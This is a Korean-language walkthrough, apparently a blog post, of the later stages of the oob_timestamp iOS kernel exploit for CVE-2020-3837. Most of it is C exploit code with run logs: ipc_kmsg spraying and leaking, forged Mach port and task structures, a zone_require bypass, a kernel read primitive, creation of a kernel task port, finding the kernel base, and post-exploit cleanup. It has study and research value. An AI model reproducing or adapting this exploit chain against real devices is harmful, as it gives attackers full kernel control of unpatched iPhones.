msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = msg_size;
memcpy(&msg->buf[0], buffer, size);
kern_return_t ret = mach_msg(&msg->hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (ret) {
printf("[-] failed to send message\n");
mach_port_destroy(mach_task_self(), destination);
free(msg);
return ret;
}
free(msg);
return KERN_SUCCESS;
}
...
mach_port_t message_leaking_port = POP_PORT();
for (int i = 0; i < 1024; i++) {
ret = send_message(message_leaking_port, data, (uint32_t)message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg));
if (ret) {
printf("[-] Failed to send message\n");
goto err;
}
}

12. IOSurface_get_value로 커널 공간의 ipc_kmsg 구조체 누출시키기
- 할당해제된
spray_buffer공간은 11번에 과정에 의해 스프레이된ipc_kmsg데이터로 차지됨. - 따라서
IOSurface_get_valueAPI로 커널 공간에 있는ipc_kmsg구조체 데이터를 누출시킬 수 있음.
free(data);
data = NULL;
uint32_t argsSz = sizeof(struct IOSurfaceValueArgs) + 2 * sizeof(uint32_t);
struct IOSurfaceValueArgs *in = malloc(argsSz);
bzero(in, argsSz);
in->surface_id = IOSurface_id;
in->xml[0] = spray_buffer_key;
in->xml[1] = 0;
// this buffer is now an ipc_kmsg struct, read it back
size_t out_size = 82 MB; // make it bigger than actual; that works for both cases
ret = IOSurface_get_value(in, 16, spray_buffer, &out_size);
if (ret) {
printf("[-] Failed to read back value\n");
goto err;
}
free(in);
- 82MB 크기의 방대한 데이터 영역중에서
ipc_kmsg구조체의ikm_size값에 대해memmem함수를 통해 찾음. - 스프레이했던
ipc_kmsg크기는 8페이지이며, 해당 크기에서 0x58뺀 값이 바로ikm_size임. - 찾으면 그곳부터가
struct ipc_kmsg구조체의 첫 필드에 속함.
uint32_t ikm_size = 8 * (uint32_t)pagesize - 0x58;
void *ipc_kmsg = memmem(spray_buffer, out_size, &ikm_size, sizeof(ikm_size));
if (!ipc_kmsg) {
printf("[-] Failed to leak ipc_kmsg\n");
goto err;
}
13. 유출된 ikm_header 주소값으로 96MB의 segment list 주소 알아내기
ikm_header주소는ipc_kmsg주소로부터 +0x8000+0x28만큼 떨어져있음.- 따라서
ipc_kmsg주소는 유출된ikm_header주소값에서 -0x8000-0x28과 같이 빼면 구할 수 있음. - 추가로 우리가 할당했던
seglist와cmdbuf영역의 크기가 각각 96MB,ipc_kmsg크기가 8페이지,ipc_kmsg ~ ikm_header간의 떨어진 주소 차이값을 전부 다 구한 다음, 전부 다 해당값들을ikm_header주소에서 빼주면,seglist주소를 계산할 수 있음. - 추후 kernel read를 하기 위해 fake port / fake task를 다음과 같이 설정함.
fake_port_addr = cmdbuf addr + 0x100fake_task_addr = cmdbuf addr + kernel page size(=0x4000)
// ikm_header = beginning of struct + something, we can use this to calculate the address of the shared memory buffer
uint64_t ikm_header = *(uint64_t*)(ipc_kmsg + 24);
uint64_t segment_list_addr = ikm_header - 96 MB - 96 MB - 8 * pagesize - 2 * pagesize - 0x28;
printf("[+] ikm_header leak: 0x%llx\n", ikm_header);
printf("[+] Segment list calculated to be at: 0x%llx\n", segment_list_addr);
uint64_t fake_port_page_addr = segment_list_addr + 96 MB; // = addr of command buffer
uint64_t fake_port_addr = fake_port_page_addr + 0x100;
uint64_t fake_task_page_addr = segment_list_addr + pagesize + 96 MB; // = addr of command buffer + pagesize
uint64_t fake_task_addr = fake_task_page_addr + 0x100;
실제로, 11번 과정에서 스프레이한곳 중 하나인 ipc_kmsg 주소를 직접 살펴보면,
ikm_header 주소는 항상 ipc_kmsg 주소에서 +0x8000+0x28 만큼 떨어져있음.

14. 1024번 스프레이했던 ipc_kmsg 할당해제
mach_port_destroy(mach_task_self(), message_leaking_port);

15. fake port 주소들로 채워진 8페이지 크기로 구성된 IOSurface data를 1000번 스프레이하기
- 이제 3곳에는 fake port addr로 채워진 버퍼들로 차지된다.
data = malloc(8 * pagesize);
for (int i = 0; i < 8 * pagesize / 8; i++) {
((uint64_t*)data)[i] = fake_port_addr;
}
uint32_t ool_ports_realloc_key = transpose(property_index++);
ret = IOSurface_kmem_alloc_spray(data, 8 * pagesize, 1000, ool_ports_realloc_key);
if (ret) {
printf("[-] Failed to spray\n");
goto err;
}

16. 커맨드 버퍼의 모든 페이지에 대해 page fault 발생시키기 (bazad’s fix for a kernel data abort)
아래 코드와 같이 커널 환경에서 커맨드 버퍼에 접근할 수 있도록, 커맨드 버퍼의 모든 페이지에 대해 page fault를 발생시킨다.
oob_timestamp 원저작자 분의 익스플로잇 코드 주석을 참고하면, 그렇게 하는 이유는 다음과 같다고 한다.
첫 접근 시 선점(preemption)이 비활성화된 상태에서 락을 시도하기 때문에 vm_fault()가 중단되기 때문입니다.
메모리를 미리 고정(wiring)한다고 해도 커널에서 페이지에 접근할 때 패닉이 발생하지 않는다는 보장은 없습니다.
int make_buffer_readable_by_kernel(void *buffer, uint64_t n_pages) {
for (int i = 0; i < n_pages * pagesize; i += pagesize) {
struct IOAccelKernelCommand_CollectTimeStamp *ts_cmd = (struct IOAccelKernelCommand_CollectTimeStamp *)(((uint8_t *)buffer) + i);
bool end = i == (n_pages * pagesize - pagesize);
ts_cmd->command.type = 2;
ts_cmd->command.size = pagesize - (end ? sizeof(struct IOAccelKernelCommand_CollectTimeStamp) : 0);
// we have to write something because... memory stuff
*(((uint8_t *)buffer) + i) = 0;
}
return IOAccelCommandQueue2_submit_command_buffers(&submit_args.header, sizeof(submit_args));
}
// bazad's fix for a kernel data abort
make_buffer_readable_by_kernel(cmdbuf.data, 2);
memset(cmdbuf.data, 0, 2 * pagesize);
17-1. kernel read를 위해 fake port / fake task 셋업하기
- 커널과 유저공간을 공유하는 메모리인 커맨드 버퍼를 이용하여 fake port와 fake task를 설정한다.
- 커맨드버퍼의 첫 페이지 + 0x100 지점에는 fake port, 커맨드버퍼의 2번쨰 페이지 + 0x100 지점에는 fake task 내용을 채운다.
zone_requirebypass를 위해 중간에 각 존의 유효한 zindex 값을 넣는다. 17-2 과정을 통해 더 자세히 알아보자.
// setup fake port & fake task
kport_t *fake_port = cmdbuf.data + 0x100;
ktask_t *fake_task = cmdbuf.data + pagesize + 0x100;
uint8_t *fake_port_page = cmdbuf.data;
uint8_t *fake_task_page = cmdbuf.data + pagesize;
// zone_require bypass
// 0x16 = .zindex
// 42 = .ipc_ports_zindex; zindex of the "ipc_ports" zone
// 58 = .tasks_zindex; zindex of the "tasks" zone
*(uint16_t *)(fake_port_page + 0x16) = 42;
#if __arm64e__
*(fake_task_page + 0x16) = 57;
#else
*(uint16_t *) (fake_task_page + 0x16) = 58;
#endif
fake_port->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
fake_port->ip_references = 0xd00d;
fake_port->ip_lock.type = 0x11;
fake_port->ip_messages.port.receiver_name = 1;
fake_port->ip_messages.port.msgcount = 0;
fake_port->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;
fake_port->ip_messages.port.waitq.flags = mach_port_waitq_flags();
fake_port->ip_srights = 99;
fake_port->ip_kobject = fake_task_addr;
fake_task->ref_count = 0xff;
fake_task->lock.data = 0x0;
fake_task->lock.type = 0x22;
fake_task->ref_count = 100;
fake_task->active = 1;
17-2. zone_require 검사 우회하기 (iOS 13.0 ~ 13.5)
아마 이 시점에서 주목할 만한 것은 zone_require 우회뿐일 겁니다. 하지만 그것조차도 iOS 13 시절에 활동했던 사람이라면 누구나 잘 알고 있는 내용이죠. **zone_require**는 단순히 zone_map 외부의 페이지를 허용해버렸다는 사실 때문에 완전히 깨져 있었습니다. 그 경우 페이지의 처음 0x20 바이트를 페이지 메타데이터로 취급했기 때문에, 거기에 올바른 존 인덱스를 채워 넣기만 하면 원하는 어떤 존에 대해서든 접근 권한을 새로 발급받을 수 있었습니다. 이것이 바로 우리가 두 개의 페이지가 필요한 이유이기도 합니다. 하나는 태스크용, 다른 하나는 Mach 포트용입니다.
- 사진을 참고하자면, iOS 13.5 이하버전에서 사용되는 Bypass 1 테크닉이다.
zone_map외부의 페이지를 허용한다는 사실 때문에 우회가 가능하다.- 페이지의 처음 0x20 바이트를 페이지 메타데이터로 취급하기 때문에, 올바른 존 인덱스만 채워넣기만 하면 우회가 가능하다.
- “tasks” zone에 해당되는 zindex, “ipc_ports” zone에 해당되는 zindex 값 각각 2개를 올바른 존 인덱스에 채워넣어야 하기 때문에 2개의 커널 페이지가 필요하다.
사진 출처: https://archive.nullcon.net/website/goa-2022/documents/jailbreaking-iOS-Goa22.pdf

// zone_require bypass
// 0x16 = .zindex
// 42 = .ipc_ports_zindex; zindex of the "ipc_ports" zone
// 58 = .tasks_zindex; zindex of the "tasks" zone
*(uint16_t *)(fake_port_page + 0x16) = 42;
#if __arm64e__
*(fake_task_page + 0x16) = 57;
#else
*(uint16_t *) (fake_task_page + 0x16) = 58;
#endif
18. fake port에 해당되는 Mach OOL 메시지 수신하기
ool_ports_realloc_buffer들로 가득찬 3곳을 다시 떠올려보자.- 이전에 5번 과정에서 할당되었던 ool ports 공간(사진 상에서는 초록색 부분)이 지금은 15번 과정으로 인해 fake port 주소들로 가득 채워져있다.
- 따라서 OOL 메시지를 수신하고 조작된 포트 핸들을 다시 읽어올 수 있는데, 여기서 fakeport에 대응하는 포트 핸들을 얻을 수 있다.

// receive back the fake ports
struct ool_msg *ool = (struct ool_msg *)receive_message(ool_message_port, sizeof(struct ool_msg) + 0x1000);
mach_port_t fakeport = ((mach_port_t *)ool->ool_ports.address)[0];
free(ool);
ool = NULL;
if (!fakeport) {
printf("[-] Didn't get fakeport???\n");
goto err;
}
printf("[+] fakeport: 0x%x\n", fakeport);
19. cuck00 취약점을 이용하여 ool_message_port 사용자 포트로부터 커널 공간의 ipc_port 구조체 주소 가져오기
- 추후 커널 태스크 포트인 tfp0를 얻기 위해서는
ipc_space_kernel주소가 필요함. ipc_space_kernel주소를 얻기 위해서는 처음에ipc_port구조체 중ip_receiver필드를 읽어낼 필요가 있었음.- 따라서
ipc_space구조체 주소를 먼저 누출할 필요가 있었음 - 누출된 주소는
leaked_port_addr변수에 저장.
uint64_t find_port_via_cuck00(mach_port_t port) {
uint64_t refs[8] = { 0x4141414141414141, 0x4242424242424242, 0x4343434343434343, 0x4545454545454545, 0x4646464646464646, 0x4747474747474747, 0x4848484848484848, 0x4949494949494949 };
uint64_t in[3] = { 0, 0, 0 };
kern_return_t ret = IOConnectCallAsyncStructMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_set_notify_selector, port, refs, 8, in, sizeof(in), NULL, NULL);
if (ret) {
return 0;
}
uint64_t id = IOSurface_id;
ret = IOConnectCallScalarMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_increment_use_count_selector, &id, 1, NULL, NULL);
if (ret) {
return 0;
}
ret = IOConnectCallScalarMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_decrement_use_count_selector, &id, 1, NULL, NULL);
if (ret) {
return 0;
}
struct {
mach_msg_header_t head;
struct {
mach_msg_size_t size;
natural_t type;
uintptr_t ref[8];
} notify;
struct {
kern_return_t ret;
uintptr_t ref[8];
} content;
mach_msg_max_trailer_t trailer;
} msg = {};
ret = mach_msg(&msg.head, MACH_RCV_MSG, 0, sizeof(msg), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (ret) {
return 0;
}
return msg.notify.ref[0] & ~3;
}
uint64_t leaked_port_addr = find_port_via_cuck00(ool_message_port);
if (!leaked_port_addr) {
printf("[-] Failed to leak port address\n");
goto err;
}
printf("[+] Leaked port: 0x%llx\n", leaked_port_addr);
20. 커널 읽기 구현
- fakeport에 대응하는 포트 핸들을 획득하였기 때문에,
이제 해당 포트를 통해
pid_for_task함수로 안정적인 커널 읽기 프리미티브를 구현할 수 있음. - fakeport / faketask 내용은 커널과 유저간의 공유메모리인 커맨드 버퍼에 위치해있기 때문에 언제든지 제어할 수 있음.
- 제어 가능하기에 – 따라서, fake task의
bsd_info필드를 조작함으로써 읽힐 대상의 주소를 지정할 수 있음. ool_message_port사용자 포트에 해당되는ipc_port구조체 중ip_receiver필드를 통해ipc_space_kernel주소를 얻음.proc는 양방향 연결 리스트이므로, 현재 프로세스부터 시작해 앞쪽으로pid=0까지 순회하면서 커널 proc 구조체를 얻은 다음, 커널의vm_map주소를 얻음.leaked_port_addr에 저장된i**pc_port구조체 주소에서 필드 접근을 통해our_port_addr주소와ipc_space_kernel주소를 얻음.**
// ----------- kernel read ----------- //
uint64_t *read_addr_ptr = (uint64_t *)((uint64_t)fake_task + off_task_bsd_info);
#define kr32(addr) rk32_via_fakeport(fakeport, read_addr_ptr, addr)
#define kr64(addr) rk64_via_fakeport(fakeport, read_addr_ptr, addr)
uint64_t ipc_space = kr64(leaked_port_addr + off_ipc_port_ip_receiver);
if (!ipc_space) {
printf("[-] Kernel read failed!\n");
goto err;
}
printf("[+] Got kernel read\n");
uint64_t kernel_vm_map = 0;
uint64_t ipc_space_kernel = 0;
uint64_t our_port_addr = 0;
uint64_t struct_task = kr64(ipc_space + off_ipc_space_is_task);
our_port_addr = kr64(struct_task + off_task_itk_self);
ipc_space_kernel = kr64(our_port_addr + offsetof(kport_t, ip_receiver));
while (struct_task) {
uint64_t bsd_info = kr64(struct_task + off_task_bsd_info);
int pid = kr32(bsd_info + off_p_pid);
if (pid == 0) {
kernel_vm_map = kr64(struct_task + off_task_map);
break;
}
struct_task = kr64(struct_task + off_task_prev);
}
printf("[+] Our task port: 0x%llx\n", our_port_addr);
=================== Overall Info ===================
seglist = 0xffffffe0cf624000
cmdbuf = 0xffffffe0d5624000
ipc_kmsg = 0xffffffe0db624000
ipc_kmsg2(FREED) = 0xffffffe0db644000
[*] spray_buffer = 0xffffffe0db644000
oolports = 0xffffffe0db664000
kfree_buffer = 0xffffffe0db684000
====================================================
[*] ts for corrupting ipc_kmsg's ikm_size = 0xf8d825e6
[*] Original ipc_kmsg's ikm_size: 0x1ffa8
[*] Triggering bug with 7 bytes
[*] Corruption worked?
[*] Corrupted ipc_kmsg's ikm_size: 0xf8d82b
[*] Freed kmsg
[+] ikm_header leak: 0xffffffe0db64c028
[+] Segment list calculated to be at: 0xffffffe0cf624000
[+] fakeport: 0x2307
[+] Leaked port: 0xffffffe002507330
[+] Got kernel read
[+] Our task port: 0xffffffe00149de30
21. 커널 태스크 포트 – tfp0 구현
- fake port를 커널 task 포트로 바꾸기 위해
ip_receiver를ipc_space_kernel주소로 업데이트함. - 커널의
vm_map포인터를 삽입. - fake task 구조체의
itk_self필드를 1로 설정.
// ----------- tfp0! ----------- //
fake_port->ip_receiver = ipc_space_kernel;
*(uint64_t *)((uint64_t)fake_task + off_task_map) = kernel_vm_map;
*(uint32_t *)((uint64_t)fake_task + off_task_itk_self) = 1;
#if ENABLE_HELPER
// update
mach_port_destroy(mach_task_self(), tfp0);
tfp0 = NULL;
tfp0 = fakeport;
#endif
printf("[+] Updated port for tfp0!\n");
init_kernel_memory(fakeport, our_port_addr);
테스트 작동 확인
- 8바이트 커널 할당/해제
- 커널 쓰기/읽기
uint64_t addr = kalloc(8);
if (!addr) {
printf("[-] Seems like tfp0 port didn't work?\n");
goto err;
}
printf("[*] Allocated: 0x%llx\n", addr);
kwrite64(addr, 0x4141414141414141);
uint64_t readb = kread64(addr);
kfree(addr, 8);
printf("[*] Read back: 0x%llx\n", readb);
if (readb != 0x4141414141414141) {
printf("[-] Read back value didn't match\n");
goto err;
}
...
[+] Updated port for tfp0!
[*] Allocated: 0xffffffe000140000
[*] Read back: 0x4141414141414141
[*] DONE, spinning here...
22. 더 안정적인 커널 태스크 포트 – tfp0 구현
POP_PORT매크로로 포트 가져옴.- 해당 포트에 대한
ipc_port구조체를 가리키는 커널 주소를 가져와new_addr변수에 지정함. - 획득한 tfp0를 이용하여 커널 1페이지 크기만큼 커널 메모리 할당.
- 할당한 주소가 곧 fake task임.
- 기존 fake task 내용을 복사하여 새 fake task에 붙여넣음
- 기존 fake port 내용을 복사하여 새 fake port(new_addr)에 붙여넣음
- 붙여넣기전에,
ip_kobject필드는 새 fake_task + 0x100 값으로 업데이트해야함.
- 붙여넣기전에,
uint64_t find_port(mach_port_name_t port) {
uint64_t task_addr = task_self_addr();
uint64_t itk_space = kread64(task_addr + off_task_itk_space);
uint64_t is_table = kread64(itk_space + off_ipc_space_is_table);
uint32_t port_index = port >> 8;
const int sizeof_ipc_entry_t = 0x18;
uint64_t port_addr = kread64(is_table + (port_index * sizeof_ipc_entry_t));
return port_addr;
}
...
printf("[*] Creating safer port\n");
new_tfp0 = POP_PORT();
if (!new_tfp0) {
printf("[-] Failed to allocate new tfp0 port\n");
goto err;
}
uint64_t new_addr = find_port(new_tfp0);
if (!new_addr) {
printf("[-] Failed to find new tfp0 port address\n");
goto err;
}
uint64_t faketask = kalloc(pagesize);
if (!faketask) {
printf("[-] Failed to kalloc faketask\n");
goto err;
}
kwritebuf(faketask, fake_task_page, pagesize);
fake_port->ip_kobject = faketask + 0x100;
kwritebuf(new_addr, (const void*)fake_port, sizeof(kport_t));
printf("[*] Testing new tfp0 port\n");
init_kernel_memory(new_tfp0, our_port_addr);
tfp0 = new_tfp0;
테스트 작동 확인
addr = kalloc(8);
if (!addr) {
printf("[-] Seems like the new tfp0 port didn't work?\n");
goto err;
}
printf("[+] tfp0: 0x%x\n", new_tfp0);
printf("[*] Allocated: 0x%llx\n", addr);
kwrite64(addr, 0x4141414141414141);
readb = kread64(addr);
kfree(addr, 8);
printf("[*] Read back: 0x%llx\n", readb);
if (readb != 0x4141414141414141) {
printf("[-] Read back value didn't match\n");
goto err;
}
[*] Creating safer port
[*] Testing new tfp0 port
[+] tfp0: 0x1b03
[*] Allocated: 0xffffffe031bb4000
[*] Read back: 0x4141414141414141
23. 커널 베이스 찾기
IOSurfaceRootUserClient객체부터 구조체 필드에 차례로 접근하여vtable에 접근함.vtable에 있는IOUserClient::getTargetAndTrapForIndex함수 주소를 가져옴.- 해당 함수 주소가 속한 페이지의 주소로 내림한 다음, 커널 주소를 읽고 페이지 크기만큼 읽힐 주소를 감소킴을 반복함으로써 커널 베이스를 찾음.
// ----------- find kernel base ----------- //
uint64_t surfRoot = port_to_kobject(IOSurfaceRootUserClient);
uint64_t IOSurfaceRootUserClient_vtab = kread64(surfRoot);
IOSurfaceRootUserClient_vtab |= 0xffffff8000000000; // in case it has PAC
uint64_t getExternalTrapForIndex_func = kread64(IOSurfaceRootUserClient_vtab + 8 * 0xb7); // IOUserClient::getExternalTrapForIndex; LDR X8, [X8,#0x5B8]
getExternalTrapForIndex_func |= 0xffffff8000000000; // __ZN12IOUserClient23getExternalTrapForIndexEj; this address is inside the kernel image;
INFO("getExternalTrapForIndex_func = 0x%llx\n", function);
uint64_t page = trunc_page_kernel(function);
while (true) {
if (kread64(page) == 0x0100000cfeedfacf && (kread64(page + 8) == 0x0000000200000000 || kread64(page + 8) == 0x0000000200000002)) {
kbase = page;
break;
}
page -= pagesize;
}
printf("[*] Kernel base: 0x%llx\n", kbase);
24. 정리
익스플로잇해주는 프로세스가 안정적으로 종료되기 위해서는 몇 가지 정리가 필요하다.
24-1. 공유메모리 영역인 seglist, cmdbuf를 안정적으로 free할 수 있게 준비하기
- 커맨드 버퍼에 위치한 첫 tfp0 포트에 대한 참조를 제거하기
- 우리는 22번 과정인 커널 메모리를 페이지만큼 할당하고 안정적인 tfp0 포트를 만들어서, 오래된 fake port(*정확히는 cmdbuf 주소를 가리킴)는 더이상 필요없기 때문이다.
- 따라서 해당 fakeport가 참조하는
ie_object와ie_bits를 nullify시킨다.
// ----------- clean up ----------- //
printf("[-] Cleaning up...\n");
uint64_t our_task_addr = rk64(our_port_addr + off_ipc_port_ip_kobject);
uint64_t itk_space = rk64(our_task_addr + off_task_itk_space);
uint64_t is_table = rk64(itk_space + off_ipc_space_is_table);
uint32_t port_index = fakeport >> 8;
const int sizeof_ipc_entry_t = 0x18;
// remove references to the first tfp0 port which is located in the command buffer
kwrite32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);
kwrite64(is_table + (port_index * sizeof_ipc_entry_t), 0);
fakeport = MACH_PORT_NULL;
사진으로 나타내면 아래와 같다.

- 앱(익스플로잇해주는 프로세스)가 종료될 시 커널 패닉이 나지 않도록
new_tfp0의 수신 권한(receive right) 제거하기new_tfp0포트에서ie_bits필드를MACH_PORT_TYPE_RECEIVE제거한 플래그로 만든다.
// remove our receive right of new_tfp0 to prevent it from dying on app exit
port_index = new_tfp0 >> 8;
uint32_t ie_bits = kread32(is_table + (port_index * sizeof_ipc_entry_t) + 8);
ie_bits &= ~MACH_PORT_TYPE_RECEIVE;
kwrite32(is_table + (port_index * sizeof_ipc_entry_t) + 8, ie_bits);
24-2. spray_buffer 안정적으로 free시키게 만들기
- 18번 과정에서 지금까진 할당된 영역에 대한 그림을 다시 한번 살펴보자.
spray_buffer영역은 9번 스프레이 과정에 의해 할당되었다가, 10번 과정에 의해 넓은 범위로 free된 이후, 현재는 15번 과정에 의해ool_ports_realloc_buffer들로 채워져있다.

IOSurfaceUserClient포트에서all_properties(OSDictionary)를 찾아(커널 메모리 읽기) 특정 키(정수 형태로 포장된 4바이트)를 이용해 스프레이했던 값을 꺼낸다.- 여기서 값은 OSArray 타입이며,
all_properties는userdict_from_IOSurface함수의 반환값과 동일하다. - OSArray 배열을 순회하며 그림속의
spray_buffer영역 주소와 일치하는 OSData 버퍼를 찾는다. - 해당 OSData의
capacity를 0으로 초기화시킨다. - 이후에는
IOSurface_remove_property함수를 통해 안정적으로 할당해제시킬 수 있다.
// get all_properties property from an IOSurfaceRootUserClient mach port. this is an OSDictionary * where all properties are set using setValue
uint64_t get_all_properties(mach_port_t IOSurfaceRootUserClient) {
uint64_t IOSRUC_port_addr = find_port(IOSurfaceRootUserClient); // struct ipc_port *
uint64_t IOSRUC_addr = kread64(IOSRUC_port_addr + off_ipc_port_ip_kobject); // IOSurfaceRootUserClient *
uint64_t IOSC_addr = kread64(kread64(IOSRUC_addr + 0x118) + 8 * IOSurface_id); // IOSurfaceClient *
uint64_t IOSurface_addr = kread64(IOSC_addr + 0x40); // IOSurface *
uint64_t all_properties = kread64(IOSurface_addr + 0xe8); // OSDictionary *
return all_properties;
}
uint64_t OSDictionary_objectForKey(uint64_t dict, char *key) {
uint64_t dict_buffer = kread64(dict + 0x20); // void * // 0x20 = offsetof(OSDictionary, dictionary);
int i = 0;
uint64_t key_sym = 0;
do {
key_sym = kread64(dict_buffer + i); // OSSymbol *
uint64_t key_buffer = kread64(key_sym + 0x10); // char * // 0x10 = p/x offsetof(OSString, string)
if (!kstrcmp_u(key_buffer, key)) {
return kread64(dict_buffer + i + 8);
}
i += 16;
}
while (key_sym);
return 0;
}
uint64_t address_of_property_key(mach_port_t IOSurfaceRootUserClient, uint32_t key) {
uint64_t all_properties = get_all_properties(IOSurfaceRootUserClient);
char *skey = malloc(5);
memcpy(skey, &key, 4);
uint64_t value = OSDictionary_objectForKey(all_properties, skey);
free(skey);
return value;
}
uint64_t spray_array = address_of_property_key(IOSurfaceRootUserClient, spray_buffer_key); // OSArray *
uint32_t capacity = OSArray_getCapacity(spray_array);
for (int i = 0; i < capacity; i++) {
uint64_t object = OSArray_objectAtIndex(spray_array, i); // OSData *
uint64_t buffer = OSData_buffer(object);
if (buffer == segment_list_addr + 96 MB + 96 MB + 8 * pagesize) { // check if address that spray_buffer is in
printf("[*] Found corrupted OSData buffer at 0x%llx\n", buffer);
OSData_setCapacity(object, 0); // null out the capacity, this buffer was freed & reallocated
break;
}
}
// now we should be able to free this
IOSurface_remove_property(spray_buffer_key);
24-3. ool_ports_realloc_buffer 안정적으로 free시키게 만들기
- 24-2 과정과 동일하게 진행해주면 된다.
uint64_t ool_array = address_of_property_key(IOSurfaceRootUserClient, ool_ports_realloc_buffer_key); // OSArray *
capacity = OSArray_getCapacity(ool_array);
for (int i = 0; i < capacity; i++) {
uint64_t object = OSArray_objectAtIndex(ool_array, i); // OSData *
uint64_t buffer = OSData_buffer(object);
if (buffer == segment_list_addr + 96 MB + 96 MB + 8 * pagesize + 8 * pagesize) { //check if address that oolports is in
printf("[*] Found corrupted OSData buffer at 0x%llx\n", buffer);
OSData_setCapacity(object, 0);
break;
}
}
IOSurface_remove_property(ool_ports_realloc_buffer_key);
24-4. kfree_buffer의 일부분을 안정적으로 free시키게 만들기
- 우리는 아래 그림과 같이 노랑과 초록부분까지는 할당해제했으며, 보라색 부분에 대한 할당해제를 처리해줘야 한다.

- 부분적으로 해제된 OSData 버퍼들을 검사해서, 각 페이지가 아직 매핑되어 있고 우리가 이전에 할당한(마법값
0x4242424242424242으로 표시된) 페이지인지VM_FLAGS_FIXED옵션과 함께mach_vm_allocate함수로 확인할 수 있다. VM_FLAGS_FIXED는 하드코딩된 커널 주소에 메모리 영역을 할당할 수 있게 만들어주며,mach_vm_allocate함수에서 할당 실패 시 0이 아닌 값을 반환한다.- 발견되면 그 페이지를 새 버퍼 시작으로 삼아 OSData 버퍼 포인터와
capacity수정을 통해 복구한다. - 발견되지 않으면,
capacity를 0으로 만든다. - 이후에는 IOSurface 프로퍼티 제거 함수인
IOSurface_remove_property를 호출하여 안정적으로 할당해제할 수 있다.
// in here only part of the buffer got freed, we don't know how much so the solution is more complex.
// we need to check if each page is mapped and if so check if it was allocated by us and not freed and reallocated by the system.
// when we find a page allocated by us it is safe to assume there won't be more corrupted pages since the corruption is contiguous
uint64_t kfree_array = address_of_property_key(IOSurfaceRootUserClient, kfree_buffer_key); // OSArray *
capacity = OSArray_getCapacity(kfree_array);
uint64_t start_of_corruption = segment_list_addr + 96 MB + 96 MB + 8 * pagesize + 8 * pagesize + 8 * pagesize;
for (int i = 0; i < capacity; i++) {
uint64_t object = OSArray_objectAtIndex(kfree_array, i); // OSData *
uint64_t buffer = OSData_buffer(object);
if (buffer >= start_of_corruption) {
uint64_t page = 0;
// 8 pages
for (int p = 0; p < 8; p++) {
page = buffer + p * pagesize;
// if allocation doesn't work page is mapped, otherwise it's free
ret = mach_vm_allocate(new_tfp0, &page, pagesize, VM_FLAGS_FIXED); // reallocate at same address
if (ret) {
uint64_t readval = kread64(page);
if (readval == 0x4242424242424242) {
printf("[*] Fixing corrupted OSData buffer at 0x%llx\n", buffer);
// fix it
OSData_setBuffer(object, page);
OSData_setCapacity(object, 8 * pagesize - (uint32_t)(page - buffer));
// if we find a non-corrupted buffer stop
goto out;
}
else {
printf("[*] Part of buffer reallocated by the system, keeping\n");
}
}
else {
kfree(page, pagesize); // was freed already, so keep it freed
}
}
// if we've reached this point object is corrupted entirely
OSData_setCapacity(object, 0);
}
}
out:;
IOSurface_remove_property(kfree_buffer_key);
24-5. new_tfp0 포트만을 제외하고 모든 포트 해제 / IOSurface, IOAccelerator 정리
void IOAccelerator_deinit() {
if (IOGraphicsAccelerator2) IOObjectRelease(IOGraphicsAccelerator2);
if (IOAccelDevice2Conn) IOServiceClose(IOAccelDevice2Conn);
if (IOAccelContext2Client) IOServiceClose(IOAccelContext2Client);
IOGraphicsAccelerator2 = 0;
IOAccelDevice2Conn = 0;
IOAccelContext2Client = 0;
}
void
IOSurface_deinit() {
IOSurface_initialized = false;
IOSurface_id = 0;
IOServiceClose(IOSurfaceRootUserClient);
IOObjectRelease(IOSurfaceRoot);
}
...
err:
// clean 200 ports
for (int i = 0; i < port_cnt; i++) {
if (ports[i] && ports[i] != new_tfp0) mach_port_destroy(mach_task_self(), ports[i]);
}
if (data) free(data);
#if ENABLE_HELPER
term_kexecute(); //helper
mach_port_destroy(mach_task_self(), tfp0);
#endif
IOAccelerator_deinit();
IOSurface_deinit();
return 0;
}
실행 결과
- 커널 메모리 할당영역을 쉽게 알아보기 위해
ENABLE_HELPER매크로를 1로 설정함.
iPhone-8--1201:~ root# CVE-2020-3837
[*] page size: 0x4000, kr=(os/kern) successful
[*] IOSurface_init success, IOSurface_id=0xa
[i] offsets selected for iOS 12.0.1
host: 0x1503
[*] tfp0: 0x2903
[*] get_kbase ret: 0, kbase: 0xfffffff00f804000, kslide: 0x8800000
[*] Doing stage 0 heap setup
[*] saved_ports[0](port=0x1603)'s msgdata_kptr = 0xffffffe02d317048
[*] saved_ports[1](port=0x2703)'s msgdata_kptr = 0xffffffe02dd57048
[*] saved_ports[2](port=0x1703)'s msgdata_kptr = 0xffffffe02e74b048
[*] saved_ports[3](port=0x2603)'s msgdata_kptr = 0xffffffe02f13f048
[*] saved_ports[4](port=0x1803)'s msgdata_kptr = 0xffffffe02fb33048
[*] saved_ports[5](port=0x2503)'s msgdata_kptr = 0xffffffe030527048
[*] saved_ports[6](port=0x1903)'s msgdata_kptr = 0xffffffe0c3ddb048
[*] saved_ports[7](port=0x1a03)'s msgdata_kptr = 0xffffffe0c489b048
[*] saved_ports[8](port=0x2403)'s msgdata_kptr = 0xffffffe0c528f048
[*] saved_ports[9](port=0x1b03)'s msgdata_kptr = 0xffffffe0c5c83048
[*] spray(port=0x1c03)'s msgdata_kptr = 0xffffffe02d318048
[*] Doing stage 1 heap setup
[*] IOSurface's userspaceValueDicts: 0xffffffe003dd1500
[*] dict 0xffffffe003dd1500, items 0xffffffe0015a9640, count 2, capacity 4
[+] Found our 1st sprayed IOSurface data!
[*] OSDict from userspaceValueDicts[1] = 0xffffffe003dd3b70
[*] osdict_count = 0x1, osdict_capacity = 0x520000, osdict_entry = 0xffffffe0cab1c000
[*] osdictentry_key = 0xffffffe003f15a40
[*] osdict_kbuffer = 0xffffffe0043d6c90 -> 0xaabbcc
[*] try_count: 44317
[+] command_buffer_shmem_data_kva: 0xffffffe0d5d1c000
